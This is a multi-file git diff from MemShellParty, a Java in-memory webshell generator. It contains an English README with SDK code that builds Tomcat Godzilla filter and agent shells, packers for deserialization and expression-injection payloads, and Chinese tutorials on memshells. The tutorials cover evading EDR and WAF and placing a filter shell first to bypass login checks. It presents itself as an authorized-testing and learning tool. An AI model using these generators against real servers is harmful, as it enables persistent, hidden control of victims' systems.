package com.reajason.javaweb.packer.deserialize.utils;
|
package com.reajason.javaweb.deserialize.utils;
|
||||||
|
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
@@ -1,7 +1,10 @@
|
|||||||
package com.reajason.javaweb.packer.deserialize.utils;
|
package com.reajason.javaweb.deserialize.utils;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
|
||||||
import sun.reflect.ReflectionFactory;
|
import sun.reflect.ReflectionFactory;
|
||||||
|
import sun.security.pkcs.PKCS9Attributes;
|
||||||
|
|
||||||
|
import java.lang.reflect.AccessibleObject;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
|
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
package com.reajason.javaweb.deserialize.payload;
|
package com.reajason.javaweb.deserialize.payload;
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||||
@@ -1,6 +1,11 @@
|
|||||||
<h1 align="center">MemShellParty</h1>
|
<h1 align="center">MemShellParty</h1>
|
||||||
|
|
||||||
<p align="center"><a href="../README.md">中文</a> | English<br></p>
|
<p align="center">English | <a href="../README.md">中文</a><br></p>
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
|
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||||
|
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
<div align="center">
|
<div align="center">
|
||||||
@@ -12,54 +17,49 @@
|
|||||||
<div align="center">
|
<div align="center">
|
||||||
|
|
||||||
[](https://t.me/memshell)
|
[](https://t.me/memshell)
|
||||||
[](https://party.mem.mk)
|
[](https://party.memshell.news)
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing. Using this tool for any unauthorized network attack or penetration test is illegal, and users must bear the corresponding legal responsibility.
|
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing purposes. Using this tool for any unauthorized network attacks or penetration testing activities is illegal, and users are solely responsible for any resulting legal consequences.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Since I mainly work on security product development and do not have practical offensive experience, please feel free to open an issue or join the Telegram group if you have questions about usage, implementation, or adaptation requests. You are welcome to learn and exchange ideas together.
|
> As I primarily focus on security product development and lack extensive real-world combat experience, please feel free to raise an issue or join the [Telegram group](https://t.me/memshell) if you have questions about usage, implementation, or adaptation requests. Let's learn and exchange ideas together!
|
||||||
|
|
||||||
MemShellParty is a fast memshell generation tool focused on mainstream web middleware. It is designed to simplify the workflow of security researchers and red team members, improving offensive and defensive efficiency.
|
MemShellParty is a self-hosted, visual platform for one-click generation of java memshell for common middleware and frameworks. It also aims to be a comprehensive learning platform for java memshell. In an era full of wheels, it's time to build the car and accelerate together!
|
||||||
|
|
||||||
<p align="center">
|
What you can learn or try from this project:
|
||||||
<img src="../assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
|
||||||
<img src="../assets/agent_memshell.png" alt="agent_memshell" width="24%">
|
1. Learn to write java memshell for common middleware and frameworks.
|
||||||
<img src="../assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
2. Learn to use [Testcontainers](https://testcontainers.com/) for Java application integration testing.
|
||||||
<img src="../assets/about_page.png" alt="about_page" width="24%">
|
3. Learn to use GitHub Actions for CI/CD, write CHANGELOG, and automate Release publications via CI.
|
||||||
</p>
|
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
||||||
|
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
## Key Features
|
## Key Features
|
||||||
|
|
||||||
- **Non-intrusive**: Generated memshells do not affect normal target middleware traffic, even when more than a dozen different memshells are injected at the same time.
|
- Non-Intrusive: Generated memshell do not interfere with the normal traffic of the target middleware, even when multiple different shells are injected simultaneously.
|
||||||
- **Strong compatibility**: Covers common middleware and frameworks in offensive and defensive scenarios, and supports JDK6 through JDK21.
|
- High Availability: Comes with comprehensive [CI integration tests](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||||
- **High availability**: A comprehensive automated test matrix has been built for all supported middleware and frameworks, ensuring each generated payload has high usability and stability while reducing uncertainty in real-world use.
|
- Minimal Size: Strives to minimize memshell size for efficient transfer.
|
||||||
- **Extremely lightweight**: Through deeply optimized bytecode generation strategies, MemShellParty greatly reduces memshell size compared with traditional tools such as JMG. Regular memshells are reduced by **30%**, and Agent memshells are reduced by **80%** using ASM.
|
- Strong Compatibility: Covers common middleware and frameworks encountered in offensive and defensive scenarios.
|
||||||
- **One-click simplicity**: Built-in payload generation is provided for common vulnerabilities such as expression injection, deserialization, and SSTI. The system automatically configures Java module restriction bypasses and dynamically generates the optimal attack payload, enabling one-click generation for common vulnerability payloads.
|
|
||||||
- **High flexibility**: Natively supports common memshell capabilities such as Godzilla, Behinder, AntSword, Suo5, and NeoreGeorg. With the highly flexible custom memshell upload feature, any customized payload can be integrated into the MemShellParty generation system to build an attack platform that best fits your tactical needs.
|
|
||||||
|
|
||||||
## Quick Start
|
## Quick Start
|
||||||
|
|
||||||
### Read Before Use
|
### Online Preview
|
||||||
|
|
||||||
[Compatibility](https://party.mem.mk/ui/docs/compatibility) helps you understand MemShellParty's adaptation status for each service, so you can choose the right service type for different applications.
|
> Suitable for users who just want to try it out. Please use with caution on public services, as generated memshell might potentially contain backdoors if the service is compromised.
|
||||||
|
|
||||||
The probe memshell maps detected service types one by one. The detected service type is the service type that can be used to generate memshells. This is not necessarily the middleware type. For example, Apusic10 is detected as GlassFish because it is developed based on GlassFish.
|
Access directly at [https://party.memshell.news](https://party.memshell.news). The latest image is automatically deployed with each release.
|
||||||
|
|
||||||
### Online Site
|
|
||||||
|
|
||||||
> Only for users who want to try it out. Please use caution with other publicly exposed services, as generated memshells may contain backdoors.
|
|
||||||
|
|
||||||
You can access the master branch at [https://party.mem.mk](https://party.mem.mk). The latest image is automatically deployed for each release.
|
|
||||||
|
|
||||||
For features under development, you can try the dev branch early at [https://dev-party.mem.mk](https://dev-party.mem.mk).
|
|
||||||
|
|
||||||
### Local Deployment (Recommended)
|
### Local Deployment (Recommended)
|
||||||
|
|
||||||
> Suitable for quick internal network or local deployment. Starting the service directly with Docker is fast and convenient.
|
> Ideal for quick deployment on internal networks or local machines. Using Docker is fast and convenient.
|
||||||
|
|
||||||
After deploying with Docker, access http://127.0.0.1:8080
|
After deploying with Docker, access the service at http://127.0.0.1:8080
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Pull the latest image from Docker Hub
|
# Pull the latest image from Docker Hub
|
||||||
@@ -68,14 +68,302 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
|
|||||||
# Pull the latest image from Github Container Registry
|
# Pull the latest image from Github Container Registry
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
|
||||||
|
|
||||||
# Poor network quality? Use the Nanjing University Github Container Registry mirror
|
# If network quality is poor, use the Nanjing University Github Container Registry mirror
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||||
```
|
```
|
||||||
|
|
||||||
## Special Thanks
|
The image is stateless. To update to the latest version, simply remove the old container and create a new one:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Remove the previously deployed container
|
||||||
|
docker rm -f memshell-party
|
||||||
|
|
||||||
|
# Use the previous deployment command to redeploy (it will automatically pull the latest image)
|
||||||
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
### SDK Integration into Existing Tools
|
||||||
|
|
||||||
|
> Suitable for integrating memshell payload generation into your existing tools. Supports JDK 8 and above (since v1.7.0).
|
||||||
|
|
||||||
|
1. Add the dependency using Maven or Gradle:
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<!-- Maven Repo-->
|
||||||
|
<dependency>
|
||||||
|
<groupId>io.github.reajason</groupId>
|
||||||
|
<artifactId>generator</artifactId>
|
||||||
|
<version>1.7.0</version>
|
||||||
|
</dependency>
|
||||||
|
```
|
||||||
|
|
||||||
|
```groovy
|
||||||
|
// Gradle Repo
|
||||||
|
implementation 'io.github.reajason:generator:1.7.0'
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Example1: Generate a Tomcat Godzilla Filter memory shell:
|
||||||
|
|
||||||
|
```java
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(ShellType.FILTER)
|
||||||
|
.shrink(true) // Shrink bytecode size
|
||||||
|
.debug(false) // Disable debug mode
|
||||||
|
.build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
// .urlPattern("/*") // Custom urlPattern, defaults to /*
|
||||||
|
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
|
||||||
|
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
// .pass("pass")
|
||||||
|
// .key("key")
|
||||||
|
// .headerName("User-Agent")
|
||||||
|
// .headerValue("test")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
|
System.out.println("Injector Class Name: "+result.getInjectorClassName());
|
||||||
|
System.out.println("MemShell Class Name: "+result.getShellClassName());
|
||||||
|
|
||||||
|
System.out.println(result.getShellConfig());
|
||||||
|
System.out.println(result.getShellToolConfig());
|
||||||
|
|
||||||
|
System.out.println("Base64 Packed: "+Packers.Base64.getInstance().pack(result));
|
||||||
|
System.out.println("ScriptEngine Packed: "+Packers.ScriptEngine.getInstance().pack(result));
|
||||||
|
```
|
||||||
|
3. Example2: Generate a Tomcat Godzilla AgentFilterChain memory shell (Agent type):
|
||||||
|
```java
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
||||||
|
.shrink(true) // Shrink bytecode size
|
||||||
|
.debug(false) // Disable debug mode
|
||||||
|
.build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
// .urlPattern("/*") // Custom urlPattern, defaults to /*
|
||||||
|
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
|
||||||
|
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
// .pass("pass")
|
||||||
|
// .key("key")
|
||||||
|
// .headerName("User-Agent")
|
||||||
|
// .headerValue("test")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
|
System.out.println("Injector Class Name: " + result.getInjectorClassName());
|
||||||
|
System.out.println("MemShell Class Name: " + result.getShellClassName());
|
||||||
|
|
||||||
|
System.out.println(result.getShellConfig());
|
||||||
|
System.out.println(result.getShellToolConfig());
|
||||||
|
|
||||||
|
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
|
||||||
|
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
||||||
|
```
|
||||||
|
4. For a unified generation interface example, refer to [GeneratorController.java](../boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
|
||||||
|
|
||||||
|
## Compatibility
|
||||||
|
|
||||||
|
Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
|
||||||
|
|
||||||
|
### Middleware and Frameworks
|
||||||
|
|
||||||
|
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
||||||
|
|----------------------|------------------------|----------------------|----------------------|
|
||||||
|
| Servlet | Servlet | Filter | Filter |
|
||||||
|
| Filter | Filter | Listener | Listener |
|
||||||
|
| Listener | Listener | Valve | Valve |
|
||||||
|
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
| ContextValve - Agent | | | |
|
||||||
|
|
||||||
|
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
||||||
|
|---------------------|--------------------------|-----------------|--------------|
|
||||||
|
| Servlet | Interceptor | WebFilter | NettyHandler |
|
||||||
|
| Filter | ControllerHandler | HandlerMethod | |
|
||||||
|
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||||
|
| FilterChain - Agent | | NettyHandler | |
|
||||||
|
|
||||||
|
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
||||||
|
|----------------------|----------------------------|------------------------|------------------------|
|
||||||
|
| Filter | Filter | Servlet | Servlet |
|
||||||
|
| Listener | Listener | Filter | Filter |
|
||||||
|
| Valve | Valve(6) | Listener | Listener |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||||
|
| | ServletHandler - Agent (7) | | |
|
||||||
|
|
||||||
|
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||||
|
|-----------------------|-------------------------|
|
||||||
|
| Servlet | Servlet |
|
||||||
|
| Filter | Filter |
|
||||||
|
| Listener | Listener |
|
||||||
|
| FilterManager - Agent | ServletContext - Agent |
|
||||||
|
|
||||||
|
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) | Primeton(6.5) |
|
||||||
|
|----------------------|----------------------|------------------------|---------------|----------------------|
|
||||||
|
| Filter | Filter | Filter | Servlet | Filter |
|
||||||
|
| Listener | Listener | Listener | Filter | Listener |
|
||||||
|
| Valve | Valve | Valve | Listener | Valve |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | | FilterChain - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | | ContextValve - Agent |
|
||||||
|
|
||||||
|
### MemShell Functionality
|
||||||
|
|
||||||
|
- [x] [Godzilla](https://github.com/BeichenDream/Godzilla)
|
||||||
|
- [x] [Behinder](https://github.com/rebeyond/Behinder)
|
||||||
|
- [x] Command Execution
|
||||||
|
- [x] [Suo5](https://github.com/zema1/suo5)
|
||||||
|
- [x] [AntSword](https://github.com/AntSwordProject/antSword)
|
||||||
|
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
|
||||||
|
- [x] Custom
|
||||||
|
|
||||||
|
### Packaging Methods
|
||||||
|
|
||||||
|
- [x] BASE64
|
||||||
|
- [x] GZIP BASE64
|
||||||
|
- [x] JSP
|
||||||
|
- [x] JSPX
|
||||||
|
- [x] JAR
|
||||||
|
- [x] BCEL
|
||||||
|
- [x] Built-in ScriptEngine, Rhino ScriptEngine
|
||||||
|
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
||||||
|
- [x] Velocity、Freemarker、JinJava
|
||||||
|
- [x] Native Deserialization(CB and CC)
|
||||||
|
- [x] Agent
|
||||||
|
- [x] XXL-JOB Executor
|
||||||
|
- [x] Hessian, Hessian2 Deserialization (XSLT gadget chain)
|
||||||
|
- [ ] JNDI
|
||||||
|
- [ ] JDBC Connection
|
||||||
|
- [ ] Other common deserialization
|
||||||
|
|
||||||
|
## Local Build
|
||||||
|
|
||||||
|
### Building from Source Code
|
||||||
|
|
||||||
|
> Suitable for developers who want to modify the code. Clone the repository locally and build the frontend and backend projects.
|
||||||
|
|
||||||
|
First, you need to download and install [bun](https://bun.sh/), a tool for building the frontend service.
|
||||||
|
|
||||||
|
1. Clone the project using Git:
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/ReaJason/MemShellParty.git
|
||||||
|
```
|
||||||
|
2. Build the frontend project. After the build finishes, static resources will be automatically moved to the Spring Boot module.
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/web
|
||||||
|
|
||||||
|
bun install
|
||||||
|
|
||||||
|
bun run build
|
||||||
|
```
|
||||||
|
3. Build the backend project. Ensure you are using a JDK 17 environment.
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
./gradlew :boot:bootjar -x test
|
||||||
|
```
|
||||||
|
|
||||||
|
After building, you can directly run the JAR file located at `MemShellParty/boot/build/libs/boot-*.jar` (the exact version might vary).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
java -jar \
|
||||||
|
--add-opens=java.base/java.util=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
||||||
|
build/libs/boot-1.0.0.jar
|
||||||
|
```
|
||||||
|
|
||||||
|
Alternatively, you can build a Docker container from the built artifacts:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
docker buildx build -t memshell-party:latest . --load
|
||||||
|
|
||||||
|
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
### Building with Dockerfile Directly
|
||||||
|
|
||||||
|
> Suitable for users who want to build with custom access paths, for example, when using NGINX as a reverse proxy ([#44](https://github.com/ReaJason/MemShellParty/issues/44)).
|
||||||
|
|
||||||
|
Download the [Dockerfile](../Dockerfile) from the project root.
|
||||||
|
|
||||||
|
- VERSION: Version information (arbitrary, suggest using the latest tag; used for frontend display).
|
||||||
|
- ROUTE_ROOT_PATH: Frontend root route configuration (e.g., /memshell-party).
|
||||||
|
- CONTEXT_PATH: Backend access prefix (e.g., /memshell-party).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Basic build (defaults to root path "/")
|
||||||
|
docker buildx build \
|
||||||
|
--build-arg VERSION=1.7.0 \
|
||||||
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
|
# Run the basic image, access at http://127.0.0.1:8080
|
||||||
|
docker run -it -d -p 8080:8080 memshell-party:latest
|
||||||
|
|
||||||
|
# Build with custom access path (e.g., /memshell-party)
|
||||||
|
docker buildx build \
|
||||||
|
--build-arg VERSION=1.7.0 \
|
||||||
|
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
||||||
|
--build-arg CONTEXT_PATH=/memshell-party \
|
||||||
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
|
# Run the custom path image, access at http://127.0.0.1:8080/memshell-party
|
||||||
|
docker run -it -p 8080:8080 \
|
||||||
|
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
||||||
|
memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
If you need to use NGINX as a reverse proxy, first build the container with a custom access path. Then configure NGINX similar to the following:
|
||||||
|
|
||||||
|
Ensure that the `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` and
|
||||||
|
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` all use the same path.
|
||||||
|
|
||||||
|
```text
|
||||||
|
location /memshell-party {
|
||||||
|
proxy_pass http://127.0.0.1:8080;
|
||||||
|
proxy_set_header Host $http_host;
|
||||||
|
proxy_set_header X-Forwarded-By $server_addr:$server_port;
|
||||||
|
proxy_set_header X-Forwarded-For $remote_addr;
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
proxy_connect_timeout 3s;
|
||||||
|
proxy_read_timeout 300s;
|
||||||
|
proxy_send_timeout 300s;
|
||||||
|
proxy_buffer_size 16k;
|
||||||
|
proxy_buffers 8 64k;
|
||||||
|
proxy_busy_buffers_size 128k;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Contribute
|
||||||
|
|
||||||
|
> Any feedback or issue discussion you provide is a contribution to this project.
|
||||||
|
|
||||||
|
> It will be so nice if you want to contribute. 🎉
|
||||||
|
|
||||||
|
1. If you have strong Docker environment building skills, consider adding integration test cases related to specific CVEs.
|
||||||
|
2. If you are skilled in writing memory shells, try adding support for a new type or target.
|
||||||
|
3. If you have extensive practical experience, feel free to open issues with suggestions or improvements.
|
||||||
|
|
||||||
|
For project structure, build processes, and compilation details, please refer to [CONTRIBUTING.md](../CONTRIBUTING.md)。
|
||||||
|
|
||||||
|
## Thanks
|
||||||
|
|
||||||
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
|
||||||
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
||||||
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
|
|
||||||
|
|
||||||
### Let's start the party 🎉
|
### Let's start the party 🎉
|
||||||
|
|||||||
@@ -1,15 +1,13 @@
|
|||||||
---
|
# 学习 Java 内存马推荐工具
|
||||||
title: 工具推荐
|
|
||||||
description: 工欲善其事必先利其器
|
> 工欲善其事必先利其器
|
||||||
---
|
|
||||||
|
|
||||||
## Arthas
|
## Arthas
|
||||||
|
|
||||||
Arthas 是阿里云开源的 Java 诊断工具,其本质是一个 Java Agent,它提供了各种各样的命令,能让我们洞察 JVM 各种细节信息。所有的使用姿势 [官方文档](https://arthas.aliyun.com/) 都有,以下会列举一些常见的场景和问题
|
Arthas 是阿里云开源的 Java 诊断工具,其本质是一个 Java Agent,它提供了各种各样的命令,能让我们洞察 JVM 各种细节信息。所有的使用姿势 [官方文档](https://arthas.aliyun.com/) 都有,以下会列举一些常见的场景和问题
|
||||||
|
|
||||||
JDK8 以上的下载链接:https://arthas.aliyun.com/doc/download.html
|
JDK8 以上的下载链接,https://arthas.aliyun.com/doc/download.html
|
||||||
|
JDK6/7 下载链接,https://arthas.aliyun.com/3.x/doc/download.html
|
||||||
JDK6/7 下载链接:https://arthas.aliyun.com/3.x/doc/download.html
|
|
||||||
|
|
||||||
### 启动 Arthas
|
### 启动 Arthas
|
||||||
|
|
||||||
@@ -1,8 +1,6 @@
|
|||||||
---
|
# Java 内存马简介
|
||||||
title: 什么是 Java 内存马
|
|
||||||
---
|
|
||||||
|
|
||||||
Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现 webshell 的所有功能。其唯一缺点可能就是服务重启即失效,不过也出现了附带的内存马复活相关技术。
|
Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现所有 webshell 功能。其唯一缺点可能就是服务重启即失效,因此也出现了附带的内存马复活相关技术。
|
||||||
|
|
||||||
## 什么是 webshell
|
## 什么是 webshell
|
||||||
|
|
||||||
@@ -12,17 +10,17 @@ webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目
|
|||||||
|
|
||||||
常见的 webshell 功能包括:
|
常见的 webshell 功能包括:
|
||||||
|
|
||||||
1. 命令回显,反弹 unix shell。
|
1. 命令回显,反弹 unix shell
|
||||||
2. 网站管理工具,例如蚁剑、哥斯拉和冰蝎等。
|
2. 网站管理工具,例如蚁剑、哥斯拉和冰蝎等。
|
||||||
3. 代理隧道,例如 reGeorg、Neo-reGeorg、suo5 等。
|
3. 代理隧道,例如 reGeorg、Neo-reGeorg、suo5 等。
|
||||||
|
|
||||||
## 演变历程
|
## 演变历程
|
||||||
|
|
||||||
随着攻防对抗强度越来越高,主机安全(文件监控、防篡改、EDR),WAF 流量设备,webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马,不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效,而加密则是针对 WAF 等流量设备,因此内存马使用得越来越多,当前唯一真正有效的防护措施似乎只剩下了 **RASP(运行时应用安全防护)** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。
|
随着攻防演练热度越来越高,主机安全(文件监控、防篡改、EDR),WAF 流量设备,webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马,不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效,而加密则是针对 WAF 等流量设备,因此内存马使用得越来越多,当前唯一真正有效的防护措施只剩下了 **RASP(运行时应用安全防护)** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。
|
||||||
|
|
||||||
内存马也被称为内存 webshell,相较于传统 webshell 的文件落地方式,只是在攻防对抗中进化,换了个实现方式挂 webshell。
|
因此内存马也被称为内存 webshell,相较于传统 webshell 的文件落地方式,只是在攻防对抗中进化,换了个实现方式挂 webshell。
|
||||||
|
|
||||||
此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell,或许当你遇到有意思的 webshell 时,可以考虑将其改造成内存马。
|
此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell,或许你遇到有意思的 webshell 时,可以考虑将其改造成内存马。
|
||||||
|
|
||||||
## 常见 Java 内存马
|
## 常见 Java 内存马
|
||||||
|
|
||||||
@@ -32,7 +30,7 @@ webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目
|
|||||||
|
|
||||||
**任何能进行 Web 通信的组件都可以成为内存马依附的位置**。
|
**任何能进行 Web 通信的组件都可以成为内存马依附的位置**。
|
||||||
|
|
||||||
Java EE 中的 Servlet 规范就提供了 Servlet、Filter 以及 Listener,Tomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、Interceptor,SpringWebFlux 中的 WebFilter 这种框架内存马也被广泛使用。
|
Java EE 中的 Servlets 就提供了 Servlet、Filter 以及 Listener,Tomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、Interceptor,SpringWebFlux 中的 WebFilter 这种框架内存马也使用广泛。
|
||||||
|
|
||||||
从技术实现的不同,分为非 Agent 内存马与 Agent 内存马,由于 Agent 内存马需要落地 Jar 包,冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式,参考:[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。
|
从技术实现的不同,分为非 Agent 内存马与 Agent 内存马,由于 Agent 内存马需要落地 Jar 包,冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式,参考:[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。
|
||||||
|
|
||||||
|
After Width: | Height: | Size: 174 KiB |
|
After Width: | Height: | Size: 282 KiB |
|
After Width: | Height: | Size: 92 KiB |
|
After Width: | Height: | Size: 130 KiB |
|
Before Width: | Height: | Size: 232 KiB After Width: | Height: | Size: 232 KiB |
|
Before Width: | Height: | Size: 121 KiB After Width: | Height: | Size: 121 KiB |
|
After Width: | Height: | Size: 326 KiB |
@@ -1,6 +1,4 @@
|
|||||||
---
|
# Java Servlet Filter
|
||||||
title: Filter
|
|
||||||
---
|
|
||||||
|
|
||||||
> [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md)
|
> [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md)
|
||||||
|
|
||||||
@@ -63,7 +61,7 @@ public interface Filter {
|
|||||||
|
|
||||||
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。在 Filter 中我们就是实现 doFilter 来满足需求,以下定义了一个命令回显的 FilterShell。
|
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。在 Filter 中我们就是实现 doFilter 来满足需求,以下定义了一个命令回显的 FilterShell。
|
||||||
|
|
||||||
1. 一般而言,我们会为 FilterShell 注册 url-pattern 为 `/*`,这样无论访问哪个路径都能被调用到,而且为了绕过登录过滤器,我们会把 FilterShell 注册为 FilterChain 中的第一个过滤器。
|
